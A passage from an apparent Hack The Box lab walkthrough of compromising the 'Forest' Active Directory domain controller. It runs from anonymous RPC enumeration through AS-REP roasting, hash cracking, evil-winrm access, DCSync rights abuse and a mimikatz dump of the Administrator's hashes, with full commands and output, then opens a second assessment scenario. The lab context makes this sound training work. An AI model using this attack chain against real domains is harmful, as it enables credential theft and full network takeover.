user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>

I also check for the domain groups is in the RPCclient prompt:

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]

I decided to use enum4linux to check if I would get back the same users as RPC, and I got back not just the users, but also password policy and more:

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-eqxvgplaz4]─[~]
└──╼ [★]$ enum4linux 10.129.29.48
ENUM4LINUX - next generation (v1.3.4)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.129.29.48
[*] Username ......... ''
[*] Random Username .. 'mkzhqzea'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 =====================================
|    Listener Scan on 10.129.29.48    |
 =====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ====================================================
|    Domain Information via LDAP for 10.129.29.48    |
 ====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: htb.local

 ===========================================================
|    NetBIOS Names and Workgroup/Domain for 10.129.29.48    |
 ===========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 =========================================
|    SMB Dialect Check on 10.129.29.48    |
 =========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: true
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ===========================================================
|    Domain Information via SMB session for 10.129.29.48    |
 ===========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: FOREST
NetBIOS domain name: HTB
DNS domain: htb.local
FQDN: FOREST.htb.local
Derived membership: domain member
Derived domain: HTB

 =========================================
|    RPC Session Check on 10.129.29.48    |
 =========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user
[-] Could not establish random user session: STATUS_LOGON_FAILURE

 ===================================================
|    Domain Information via RPC for 10.129.29.48    |
 ===================================================
[+] Domain: HTB
[+] Domain SID: S-1-5-21-3072663084-364016917-1341370565
[+] Membership: domain member

 ===============================================
|    OS Information via RPC for 10.129.29.48    |
 ===============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows Server 2016 Standard 14393
OS version: '10.0'
OS release: '1607'
OS build: '14393'
Native OS: Windows Server 2016 Standard 14393
Native LAN manager: Windows Server 2016 Standard 6.3
Platform id: null
Server type: null
Server type string: null

 =====================================
|    Users via RPC on 10.129.29.48    |
 =====================================
[*] Enumerating users via 'querydispinfo'
[+] Found 31 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 31 user(s) via 'enumdomusers'
[+] After merging user results we have 31 user(s) total:
'1123':
  username: $331000-VK4ADACQNUCA
  name: (null)
  acb: '0x00020015'
  description: (null)
'1124':
  username: SM_2c8eef0a09b545acb
  name: Microsoft Exchange Approval Assistant
  acb: '0x00020011'
  description: (null)
'1125':
  username: SM_ca8c2ed5bdab4dc9b
  name: Microsoft Exchange
  acb: '0x00020011'
  description: (null)
'1126':
  username: SM_75a538d3025e4db9a
  name: Microsoft Exchange
  acb: '0x00020011'
  description: (null)
'1127':
  username: SM_681f53d4942840e18
  name: Discovery Search Mailbox
  acb: '0x00020011'
  description: (null)
'1128':
  username: SM_1b41c9286325456bb
  name: Microsoft Exchange Migration
  acb: '0x00020011'
  description: (null)
'1129':
  username: SM_9b69f1b9d2cc45549
  name: Microsoft Exchange Federation Mailbox
  acb: '0x00020011'
  description: (null)
'1130':
  username: SM_7c96b981967141ebb
  name: E4E Encryption Store - Active
  acb: '0x00020011'
  description: (null)
'1131':
  username: SM_c75ee099d0a64c91b
  name: Microsoft Exchange
  acb: '0x00020011'
  description: (null)
'1132':
  username: SM_1ffab36a2f5f479cb
  name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}
  acb: '0x00020011'
  description: (null)
'1134':
  username: HealthMailboxc3d7722
  name: HealthMailbox-EXCH01-Mailbox-Database-1118319013
  acb: '0x00000210'
  description: (null)
'1135':
  username: HealthMailboxfc9daad
  name: HealthMailbox-EXCH01-001
  acb: '0x00000210'
  description: (null)
'1136':
  username: HealthMailboxc0a90c9
  name: HealthMailbox-EXCH01-002
  acb: '0x00000210'
  description: (null)
'1137':
  username: HealthMailbox670628e
  name: HealthMailbox-EXCH01-003
  acb: '0x00000210'
  description: (null)
'1138':
  username: HealthMailbox968e74d
  name: HealthMailbox-EXCH01-004
  acb: '0x00000210'
  description: (null)
'1139':
  username: HealthMailbox6ded678
  name: HealthMailbox-EXCH01-005
  acb: '0x00000210'
  description: (null)
'1140':
  username: HealthMailbox83d6781
  name: HealthMailbox-EXCH01-006
  acb: '0x00000210'
  description: (null)
'1141':
  username: HealthMailboxfd87238
  name: HealthMailbox-EXCH01-007
  acb: '0x00000210'
  description: (null)
'1142':
  username: HealthMailboxb01ac64
  name: HealthMailbox-EXCH01-008
  acb: '0x00000210'
  description: (null)
'1143':
  username: HealthMailbox7108a4e
  name: HealthMailbox-EXCH01-009
  acb: '0x00000210'
  description: (null)
'1144':
  username: HealthMailbox0659cc1
  name: HealthMailbox-EXCH01-010
  acb: '0x00000210'
  description: (null)
'1145':
  username: sebastien
  name: Sebastien Caron
  acb: '0x00000210'
  description: (null)
'1146':
  username: lucinda
  name: Lucinda Berger
  acb: '0x00000210'
  description: (null)
'1147':
  username: svc-alfresco
  name: svc-alfresco
  acb: '0x00010210'
  description: (null)
'1150':
  username: andy
  name: Andy Hislip
  acb: '0x00000210'
  description: (null)
'1151':
  username: mark
  name: Mark Brandt
  acb: '0x00000210'
  description: (null)
'1152':
  username: santi
  name: Santi Rodriguez
  acb: '0x00000210'
  description: (null)
'500':
  username: Administrator
  name: Administrator
  acb: '0x00000010'
  description: Built-in account for administering the computer/domain
'501':
  username: Guest
  name: (null)
  acb: '0x00000215'
  description: Built-in account for guest access to the computer/domain
'502':
  username: krbtgt
  name: (null)
  acb: '0x00000011'
  description: Key Distribution Center Service Account
'503':
  username: DefaultAccount
  name: (null)
  acb: '0x00000215'
  description: A user account managed by the system.

 ======================================
|    Groups via RPC on 10.129.29.48    |
 ======================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 29 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 38 group(s) via 'enumdomgroups'
[+] After merging groups results we have 72 group(s) total:
'1101':
  groupname: DnsAdmins
  type: local
'1102':
  groupname: DnsUpdateProxy
  type: domain
'1104':
  groupname: Organization Management
  type: domain
'1105':
  groupname: Recipient Management
  type: domain
'1106':
  groupname: View-Only Organization Management
  type: domain
'1107':
  groupname: Public Folder Management
  type: domain
'1108':
  groupname: UM Management
  type: domain
'1109':
  groupname: Help Desk
  type: domain
'1110':
  groupname: Records Management
  type: domain
'1111':
  groupname: Discovery Management
  type: domain
'1112':
  groupname: Server Management
  type: domain
'1113':
  groupname: Delegated Setup
  type: domain
'1114':
  groupname: Hygiene Management
  type: domain
'1115':
  groupname: Compliance Management
  type: domain
'1116':
  groupname: Security Reader
  type: domain
'1117':
  groupname: Security Administrator
  type: domain
'1118':
  groupname: Exchange Servers
  type: domain
'1119':
  groupname: Exchange Trusted Subsystem
  type: domain
'1120':
  groupname: Managed Availability Servers
  type: domain
'1121':
  groupname: Exchange Windows Permissions
  type: domain
'1122':
  groupname: ExchangeLegacyInterop
  type: domain
'1133':
  groupname: $D31000-NSEL5BRJ63V7
  type: domain
'1148':
  groupname: Service Accounts
  type: domain
'1149':
  groupname: Privileged IT Accounts
  type: domain
'498':
  groupname: Enterprise Read-only Domain Controllers
  type: domain
'5101':
  groupname: test
  type: domain
'512':
  groupname: Domain Admins
  type: domain
'513':
  groupname: Domain Users
  type: domain
'514':
  groupname: Domain Guests
  type: domain
'515':
  groupname: Domain Computers
  type: domain
'516':
  groupname: Domain Controllers
  type: domain
'517':
  groupname: Cert Publishers
  type: local
'518':
  groupname: Schema Admins
  type: domain
'519':
  groupname: Enterprise Admins
  type: domain
'520':
  groupname: Group Policy Creator Owners
  type: domain
'521':
  groupname: Read-only Domain Controllers
  type: domain
'522':
  groupname: Cloneable Domain Controllers
  type: domain
'525':
  groupname: Protected Users
  type: domain
'526':
  groupname: Key Admins
  type: domain
'527':
  groupname: Enterprise Key Admins
  type: domain
'544':
  groupname: Administrators
  type: builtin
'545':
  groupname: Users
  type: builtin
'546':
  groupname: Guests
  type: builtin
'548':
  groupname: Account Operators
  type: builtin
'549':
  groupname: Server Operators
  type: builtin
'550':
  groupname: Print Operators
  type: builtin
'551':
  groupname: Backup Operators
  type: builtin
'552':
  groupname: Replicator
  type: builtin
'553':
  groupname: RAS and IAS Servers
  type: local
'554':
  groupname: Pre-Windows 2000 Compatible Access
  type: builtin
'555':
  groupname: Remote Desktop Users
  type: builtin
'556':
  groupname: Network Configuration Operators
  type: builtin
'557':
  groupname: Incoming Forest Trust Builders
  type: builtin
'558':
  groupname: Performance Monitor Users
  type: builtin
'559':
  groupname: Performance Log Users
  type: builtin
'560':
  groupname: Windows Authorization Access Group
  type: builtin
'561':
  groupname: Terminal Server License Servers
  type: builtin
'562':
  groupname: Distributed COM Users
  type: builtin
'568':
  groupname: IIS_IUSRS
  type: builtin
'569':
  groupname: Cryptographic Operators
  type: builtin
'571':
  groupname: Allowed RODC Password Replication Group
  type: local
'572':
  groupname: Denied RODC Password Replication Group
  type: local
'573':
  groupname: Event Log Readers
  type: builtin
'574':
  groupname: Certificate Service DCOM Access
  type: builtin
'575':
  groupname: RDS Remote Access Servers
  type: builtin
'576':
  groupname: RDS Endpoint Servers
  type: builtin
'577':
  groupname: RDS Management Servers
  type: builtin
'578':
  groupname: Hyper-V Administrators
  type: builtin
'579':
  groupname: Access Control Assistance Operators
  type: builtin
'580':
  groupname: Remote Management Users
  type: builtin
'581':
  groupname: System Managed Accounts Group
  type: builtin
'582':
  groupname: Storage Replica Administrators
  type: builtin

 ======================================
|    Shares via RPC on 10.129.29.48    |
 ======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user

 =========================================
|    Policies via RPC for 10.129.29.48    |
 =========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
  Password history length: 24
  Minimum password length: 7
  Maximum password age: not set
  Password properties:
  - DOMAIN_PASSWORD_COMPLEX: false
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
  Lockout observation window: 30 minutes
  Lockout duration: 30 minutes
  Lockout threshold: None
Domain logoff information:
  Force logoff time: not set

 =========================================
|    Printers via RPC for 10.129.29.48    |
 =========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED

Completed after 7.12 seconds

Now I have list os users and I need to format the usernames in a readable format, so I came up with the onliner below:

grep "username:" users.txt | awk '{gsub(/^\$/, "", $2); print $2}' > usernames.txt

Now with the list of domain users ready, let's check it with kerbrute to be sure we have valid users.

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-eqxvgplaz4]─[~]
└──╼ [★]$ ./kerbrute_linux_amd64 userenum -d htb.local usernames.txt --dc 10.129.29.48

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/05/26 - Ronnie Flathers @ropnop

2026/05/05 11:06:48 >  Using KDC(s):
2026/05/05 11:06:48 >   10.129.29.48:88

2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailboxc3d7722@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailboxfc9daad@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailbox968e74d@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailbox670628e@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailboxfd87238@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailboxb01ac64@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailboxc0a90c9@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   sebastien@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailbox7108a4e@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailbox0659cc1@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   svc-alfresco@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   lucinda@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailbox6ded678@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   santi@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   mark@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   andy@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   HealthMailbox83d6781@htb.local
2026/05/05 11:06:48 >  [+] VALID USERNAME:   Administrator@htb.local
2026/05/05 11:06:48 >  Done! Tested 31 usernames (18 valid) in 0.045 seconds

bash
We got back 18 valid domain users from our list of 31 users, Now let's check AS-REP Roasting for all the valid usernames to see if there would any of the user with DONT_REQ_PREAUTH enabled, if we found any of the user with this enabled, we would get back the user's hash and we can take off-line and crack it.

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-eqxvgplaz4]─[~]
└──╼ [★]$ GetNPUsers.py 'htb.local/' -usersfile valid_username.txt -format hashcat -outputfile forestbox.aspreroast -dc-ip 10.129.29.48
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies 

[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:e1f287c1c6364d475b6d5bbec387512d$b816a045addd996ab16093ef48579ccd1439f796148d0a903d0934b93ad5e94c2ce3c35156137d253c4eef31999e57dcaba0060fd910d7b693c51c768b80c02c4324f11b1e2350b7e2ad2b65e918f7e80e9de116d9a7f2bef847492c0bf11857412ee446a258040373634b67651a4ee8243e2db2380a4dad3d49c9eb13a58b0d7598674726803e4d8ffbd51151b67bf7161441445c0a0a4bbed4ba2c3732ea4f36b79d98d0b4e3a1c707ac21d3f87b38c67e4b1099b672274ec89dca4302650ff49911f2d9b23937722b195a3973b4dd48a557587b099cf0b966cfe27452ceab74f9882eaf89
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] invalid principal syntax

Great!!! We got back svc-alfresco hash. Let's take the hash off-line and see if we can crack the hash with hashcat.

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-eqxvgplaz4]─[~]
└──╼ [★]$ hashcat -m 18200 forestbox.aspreroast /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped

OpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation]
==================================================================
* Device #2: AMD EPYC 7543 32-Core Processor, 3923/7910 MB (988 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

$krb5asrep$23$svc-alfresco@HTB.LOCAL:e1f287c1c6364d475b6d5bbec387512d$b816a045addd996ab16093ef48579ccd1439f796148d0a903d0934b93ad5e94c2ce3c35156137d253c4eef31999e57dcaba0060fd910d7b693c51c768b80c02c4324f11b1e2350b7e2ad2b65e918f7e80e9de116d9a7f2bef847492c0bf11857412ee446a258040373634b67651a4ee8243e2db2380a4dad3d49c9eb13a58b0d7598674726803e4d8ffbd51151b67bf7161441445c0a0a4bbed4ba2c3732ea4f36b79d98d0b4e3a1c707ac21d3f87b38c67e4b1099b672274ec89dca4302650ff49911f2d9b23937722b195a3973b4dd48a557587b099cf0b966cfe27452ceab74f9882eaf89:s3rvice

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:e1f287c1c6364d...2eaf89
Time.Started.....: Tue May  5 11:16:34 2026, (2 secs)
Time.Estimated...: Tue May  5 11:16:36 2026, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........:  1896.9 kH/s (0.80ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4085760/14344385 (28.48%)
Rejected.........: 0/4085760 (0.00%)
Restore.Point....: 4083712/14344385 (28.47%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#2....: s523480 -> s3r3ndipit

Started: Tue May  5 11:16:25 2026
Stopped: Tue May  5 11:16:37 2026

We are able to crack the hash, now we have our innitial credentials svc-alfresco:s3rvice, let's try to get on the host with evil-winrm

┌─[eu-dedivip-4]─[10.10.15.199]─[iamdayone@htb-eqxvgplaz4]─[~]
└──╼ [★]$ evil-winrm -i 10.129.29.48 -u svc-alfresco -p s3rvice

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir

I was able to lunch evil-winrm successfully with the credentials.

User and Domain Enumeration from Domain joined host

*Evil-WinRM* PS C:\Users> net users

User accounts for \\

-------------------------------------------------------------------------------
$331000-VK4ADACQNUCA     Administrator            andy
DefaultAccount           Guest                    HealthMailbox0659cc1
HealthMailbox670628e     HealthMailbox6ded678     HealthMailbox7108a4e
HealthMailbox83d6781     HealthMailbox968e74d     HealthMailboxb01ac64
HealthMailboxc0a90c9     HealthMailboxc3d7722     HealthMailboxfc9daad
HealthMailboxfd87238     krbtgt                   lucinda
mark                     santi                    sebastien
SM_1b41c9286325456bb     SM_1ffab36a2f5f479cb     SM_2c8eef0a09b545acb
SM_681f53d4942840e18     SM_75a538d3025e4db9a     SM_7c96b981967141ebb
SM_9b69f1b9d2cc45549     SM_c75ee099d0a64c91b     SM_ca8c2ed5bdab4dc9b
svc-alfresco
The command completed with one or more errors.

*Evil-WinRM* PS C:\Users> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users> reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"

HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DisableBackButton    REG_DWORD    0x1
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ
    LegalNoticeText    REG_SZ
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe
    ShellCritical    REG_DWORD    0x0
    ShellInfrastructure    REG_SZ    sihost.exe
    SiHostCritical    REG_DWORD    0x0
    SiHostReadyTimeOut    REG_DWORD    0x0
    SiHostRestartCountLimit    REG_DWORD    0x0
    SiHostRestartTimeGap    REG_DWORD    0x0
    Userinit    REG_SZ    C:\Windows\system32\userinit.exe,
    VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
    WinStationsDisabled    REG_SZ    0
    scremoveoption    REG_SZ    0
    DisableCAD    REG_DWORD    0x1
    LastLogOffEndTimePerfCounter    REG_QWORD    0x5ea4c0cd
    ShutdownFlags    REG_DWORD    0x80000033
    DisableLockWorkstation    REG_DWORD    0x0
    DefaultDomainName    REG_SZ    HTB

HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\AlternateShells
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\GPExtensions
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\VolatileUserMgrKey
*Evil-WinRM* PS C:\Users>

To better visualize the Domain, let's use bloodhound for the domain enumeration, this would help see the path, relation in a graphical view.

To use bloodhound, you need collectors, so I uplod sharphound as the collector, to collect domain info, since evil-winrm has upload and download feature.

Checking the user groups manually whoami /groups and with bloodhoud, I see that the user is part of Account Operators group, this means that the user can can create, modify, and delete most user accounts, groups, and computer objects within the domain

Bloodhound

Now it means with the current user permission, we can:

Change user's group
Add a user into a new group including self
Create a new user

Now let's check the shortes way to domain admin on bloodhound

The Exchange Windows Permissions group became interesting. When I search for it on the web, this mean:

Member of this group is granted WriteDACL access.

This means If we are part of this group we can grant ourself DCSync rights.

Remeber we are already in the group that allow us to add any user to any group Account Operators

So let's go ahead and add ourself to the Exchange Windows Permissions group, but first let's upload powerview.

Let's add our current user svc-alfresco to Exchange Windows Permissions group with the command below:

net group "Exchange Windows Permissions" svc-alfresco /add

Now let's grant ourself DCSync rights with the command below

Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "svc-alfresco" -Rights DCSync

Once the command above run successfully, let's move on to upload mimikatz on the target to perform secret dump. With mimikatz successfully uploaded to the host, let's run the command to dump Administrator hash.

.\mimikatz.exe 'lsadump::dcsync /domain:HTB.LOCAL /user:administrator' exit

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> .\mimikatz.exe 'lsadump::dcsync /domain:HTB.LOCAL /user:administrator' exit

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::dcsync /domain:HTB.LOCAL /user:administrator
[DC] 'HTB.LOCAL' will be the domain
[DC] 'FOREST.htb.local' will be the DC server
[DC] 'administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
User Principal Name  : Administrator@htb.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   :
Password last change : 8/30/2021 5:51:58 PM
Object Security ID   : S-1-5-21-3072663084-364016917-1341370565-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 32693b11e6aa90eb43d32c72a07ceea6
    ntlm- 0: 32693b11e6aa90eb43d32c72a07ceea6
    ntlm- 1: 9307ee5abf7791f3424d9d5148b20177
    ntlm- 2: 32693b11e6aa90eb43d32c72a07ceea6
    lm  - 0: 9498c81fd53411e023fcd1ff4cd3e482
    lm  - 1: f505fe58b1dedbe3015454d212af5115

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : cad4a87763ba795c795b96486148bb95

* Primary:Kerberos-Newer-Keys *
    Default Salt : HTB.LOCALAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
      aes128_hmac       (4096) : b5880b186249a067a5f6b814a23ed375
      des_cbc_md5       (4096) : c1e049c71f57343b
    OldCredentials
      aes256_hmac       (4096) : 44f53d59845f6fc874991dadd99efa2513ed4f1d26762c2130cb6af13c39d90a
      aes128_hmac       (4096) : 08f52532321ad13ccb9f2dc613aac29d
      des_cbc_md5       (4096) : 977a57459e191a98

* Primary:Kerberos *
    Default Salt : HTB.LOCALAdministrator
    Credentials
      des_cbc_md5       : c1e049c71f57343b
    OldCredentials
      des_cbc_md5       : 977a57459e191a98

* Packages *
    NTLM-Strong-NTOWF


mimikatz(commandline) # exit
Bye!

Yeeeeepee!!!! Our attack is successfull, we have Administrator hash now, let user evil_winrm

Game over!!!! We own the Domain Admin.

HTB – AD Enumeration & Attacks – Skills Assessment Part I - Walkthrough - without Metasploit

Michael Oladele — Sat, 02 May 2026 13:13:50 +0000

Scenario:

A team member started an External Penetration Test and was moved to another urgent project before they could finish. The team member was able to find and exploit a file upload vulnerability after performing recon of the externally-facing web server. Before switching projects, our teammate left a password-protected web shell (with the credentials: admin:My_W3bsH3ll_P@ssw0rd!) in place for us to start from in the /uploads directory. As part of this assessment, our client, Inlanefreight, has authorized us to see how far we can take our foothold and is interested to see what types of high-risk issues exist within the AD environment. Leverage the web shell to gain an initial foothold in the internal network. Enumerate the Active Directory environment looking for flaws and misconfigurations to move laterally and ultimately achieve domain compromise.

Enumeration

